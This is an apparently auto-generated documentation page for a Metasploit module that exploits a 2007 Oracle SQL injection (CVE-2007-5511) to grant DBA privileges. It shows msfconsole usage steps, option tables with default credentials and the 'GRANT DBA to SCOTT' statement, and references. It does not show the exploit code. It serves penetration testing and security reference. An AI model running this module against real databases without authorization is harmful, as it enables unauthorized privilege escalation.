Oracle DB SQL Injection via SYS.LT.FINDRICSET Evil Cursor Method - Metasploit


This page contains detailed information about how to use the auxiliary/sqli/oracle/lt_findricset_cursor metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Oracle DB SQL Injection via SYS.LT.FINDRICSET Evil Cursor Method
Module: auxiliary/sqli/oracle/lt_findricset_cursor
Source code: modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb
Disclosure date: 2007-10-17
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 1521
List of CVEs: CVE-2007-5511

This module will escalate an Oracle DB user to DBA by exploiting a sql injection bug in the SYS.LT.FINDRICSET package via Evil Cursor technique. Tested on oracle 10.1.0.3.0 -- should work on thru 10.1.0.5.0 and supposedly on 11g. Fixed with Oracle Critical Patch update October 2007.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/sqli/oracle/lt_findricset_cursor
msf auxiliary(lt_findricset_cursor) > show targets
    ... a list of targets ...
msf auxiliary(lt_findricset_cursor) > set TARGET target-id
msf auxiliary(lt_findricset_cursor) > show options
    ... show and set options ...
msf auxiliary(lt_findricset_cursor) > exploit

Go back to menu.

Msfconsole Usage


Here is how the sqli/oracle/lt_findricset_cursor auxiliary module looks in the msfconsole:

msf6 > use auxiliary/sqli/oracle/lt_findricset_cursor

msf6 auxiliary(sqli/oracle/lt_findricset_cursor) > show info

       Name: Oracle DB SQL Injection via SYS.LT.FINDRICSET Evil Cursor Method
     Module: auxiliary/sqli/oracle/lt_findricset_cursor
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-10-17

Provided by:
  CG <[email protected]>

Check supported:
  No

Basic options:
  Name    Current Setting     Required  Description
  ----    ---------------     --------  -----------
  DBPASS  TIGER               yes       The password to authenticate with.
  DBUSER  SCOTT               yes       The username to authenticate with.
  RHOST                       yes       The Oracle host.
  RPORT   1521                yes       The TNS port.
  SID     ORCL                yes       The sid to authenticate with.
  SQL     GRANT DBA to SCOTT  no        SQL to execute.

Description:
  This module will escalate an Oracle DB user to DBA by exploiting a 
  sql injection bug in the SYS.LT.FINDRICSET package via Evil Cursor 
  technique. Tested on oracle 10.1.0.3.0 -- should work on thru 
  10.1.0.5.0 and supposedly on 11g. Fixed with Oracle Critical Patch 
  update October 2007.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2007-5511
  OSVDB (40079)
  http://www.securityfocus.com/bid/26098
  http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2007.html

Module Options


This is a complete list of options available in the sqli/oracle/lt_findricset_cursor auxiliary module:

msf6 auxiliary(sqli/oracle/lt_findricset_cursor) > show options

Module options (auxiliary/sqli/oracle/lt_findricset_cursor):

   Name    Current Setting     Required  Description
   ----    ---------------     --------  -----------
   DBPASS  TIGER               yes       The password to authenticate with.
   DBUSER  SCOTT               yes       The username to authenticate with.
   RHOST                       yes       The Oracle host.
   RPORT   1521                yes       The TNS port.
   SID     ORCL                yes       The sid to authenticate with.
   SQL     GRANT DBA to SCOTT  no        SQL to execute.

Advanced Options


Here is a complete list of advanced options supported by the sqli/oracle/lt_findricset_cursor auxiliary module:

msf6 auxiliary(sqli/oracle/lt_findricset_cursor) > show advanced

Module advanced options (auxiliary/sqli/oracle/lt_findricset_cursor):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the sqli/oracle/lt_findricset_cursor module can do:

msf6 auxiliary(sqli/oracle/lt_findricset_cursor) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the sqli/oracle/lt_findricset_cursor auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(sqli/oracle/lt_findricset_cursor) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • CG

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.